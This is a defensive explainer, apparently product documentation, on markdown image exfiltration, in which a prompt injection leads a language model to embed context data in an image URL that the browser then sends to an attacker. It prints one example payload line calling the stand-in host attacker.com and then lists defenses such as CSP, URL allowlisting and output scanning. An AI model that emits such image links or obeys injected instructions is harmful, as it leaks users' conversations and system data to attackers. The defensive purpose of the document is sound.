Markdown Image Exfiltration Attack

The markdown image exfiltration attack embeds stolen data in image URL parameters within the model's output. When the output is rendered in a browser, the image tag triggers an HTTP request that transmits the data to an attacker-controlled server. The attack is invisible to the user because the image either fails to load silently or displays a tracking pixel.

How It Works

A prompt injection payload instructs the model to include a specific image in its response:

![image](https://attacker.com/img?data=STOLEN_CONTENT_HERE)

The model includes this markdown in its output. When a web application renders the markdown as HTML, the browser fetches the image URL, sending the encoded data as a query parameter to the attacker's server.

The attack is effective because: markdown rendering is common in chat interfaces, image tags load automatically without user interaction, the exfiltration happens client-side after the safety system has approved the output, and the visual indicator (a broken image) is easily overlooked.

What Can Be Exfiltrated

Anything in the model's context is vulnerable: user messages from the conversation, system prompt contents, data retrieved from tools, API responses, and information from connected databases. The attacker's injection tells the model which data to embed in the URL.

Defense Strategies

Strip or sanitize URLs in output. Before rendering model output, validate all URLs in markdown. Block URLs pointing to non-allowlisted domains.

Content Security Policy. Configure your web application's CSP headers to restrict which domains images can be loaded from. This browser-level control prevents the exfiltration request.

Output scanning. Authensor's Aegis scanner detects markdown image patterns with URL parameters that contain encoded data. Flag outputs containing image references to unknown domains.

Disable automatic image rendering. Display image URLs as text rather than rendering them automatically. Let users explicitly choose to load external images.

Render in sandboxed iframes. If you must render markdown with images, do it in a sandboxed iframe with restricted network access.

Monitoring

Log all external URLs that appear in model outputs. Track which domains are referenced and alert on new or suspicious domains. Authensor's audit trail captures the full output content, enabling retroactive analysis of potential exfiltration attempts that were not caught in real time.

This attack is simple, effective, and commonly overlooked. Output scanning and CSP headers together provide strong defense.